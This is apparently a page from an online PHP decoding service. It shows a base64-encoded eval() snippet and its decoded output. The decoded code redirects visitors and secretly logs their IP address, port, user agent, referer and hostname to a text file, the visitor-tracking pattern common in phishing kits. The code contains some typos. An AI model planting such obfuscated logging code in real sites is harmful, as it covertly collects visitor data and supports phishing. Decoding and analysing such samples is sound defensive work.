Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".base64_decode("PD9waHANCmhlYWRlcignTG9jYXRpb246IHRva2VuPUFZRVU0NkFLRE40MkFTSEYyY..

Decoded Output download

?>b'<?php
header(\'Location: token=AYEU46AKDN42ASHF2aEIvd.php\');
function Ip(){
  $log = "d/i.txt";
  $reg = (bool) ini_get(\'$register_globals\');
  if ($reg) $ip = getenv(REMOTE_ADDR);
  else $ip = $_SERVER[\'REMOTE_ADDR\'];
  $portcol = $_SERVER[\'REMOTE_PORT\'];
  $ag = $_SERVER[\'HTTP_USER_AGENT\'];
  $referer = $_SERVER[\'HTTP_REFERER\'];
  $hostname = gethostbyaddr($_SERVER[\'REMOTE_ADDR\']);
  $date = data("l d o F Y h:i: A");
  $sp = "------------------------------------------------------------";
    $loger = fopen("$log", "a+");
    if (preg_match("/htm/i", $log) || preg_match("/\hhtml/i", $log)){
      fputs($loger, "IP : $ip , Date: $data , Protocol : $protcol , Agent : $ag, R eferer : $referer , HostName : $hostname n $space");
    }else fputs($loger, "IP : $ip , Date: $data , Protocol : $protcol , Agent : $ag, R eferer : $referer , HostName : $hostname n $space");
    fclose($loger);
}
Ip();
 ?>
'

Did this file decode correctly?

Original Code

eval("?>".base64_decode("PD9waHANCmhlYWRlcignTG9jYXRpb246IHRva2VuPUFZRVU0NkFLRE40MkFTSEYyYUVJdmQucGhwJyk7DQpmdW5jdGlvbiBJcCgpew0KICAkbG9nID0gImQvaS50eHQiOw0KICAkcmVnID0gKGJvb2wpIGluaV9nZXQoJyRyZWdpc3Rlcl9nbG9iYWxzJyk7DQogIGlmICgkcmVnKSAkaXAgPSBnZXRlbnYoUkVNT1RFX0FERFIpOw0KICBlbHNlICRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAkcG9ydGNvbCA9ICRfU0VSVkVSWydSRU1PVEVfUE9SVCddOw0KICAkYWcgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQogICRyZWZlcmVyID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KICAkaG9zdG5hbWUgPSBnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKTsNCiAgJGRhdGUgPSBkYXRhKCJsIGQgbyBGIFkgaDppOiBBIik7DQogICRzcCA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iOw0KICAgICRsb2dlciA9IGZvcGVuKCIkbG9nIiwgImErIik7DQogICAgaWYgKHByZWdfbWF0Y2goIi9cYmh0bVxiL2kiLCAkbG9nKSB8fCBwcmVnX21hdGNoKCIvXGhodG1sXGIvaSIsICRsb2cpKXsNCiAgICAgIGZwdXRzKCRsb2dlciwgIklQIDogJGlwICwgRGF0ZTogJGRhdGEgLCBQcm90b2NvbCA6ICRwcm90Y29sICwgQWdlbnQgOiAkYWcsIFIgZWZlcmVyIDogJHJlZmVyZXIgLCBIb3N0TmFtZSA6ICRob3N0bmFtZSBuICRzcGFjZSIpOw0KICAgIH1lbHNlIGZwdXRzKCRsb2dlciwgIklQIDogJGlwICwgRGF0ZTogJGRhdGEgLCBQcm90b2NvbCA6ICRwcm90Y29sICwgQWdlbnQgOiAkYWcsIFIgZWZlcmVyIDogJHJlZmVyZXIgLCBIb3N0TmFtZSA6ICRob3N0bmFtZSBuICRzcGFjZSIpOw0KICAgIGZjbG9zZSgkbG9nZXIpOw0KfQ0KSXAoKTsNCiA/Pg0K"));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b28195022ee42ffe041cac3d37cf448a
Eval Count 1
Decode Time 82 ms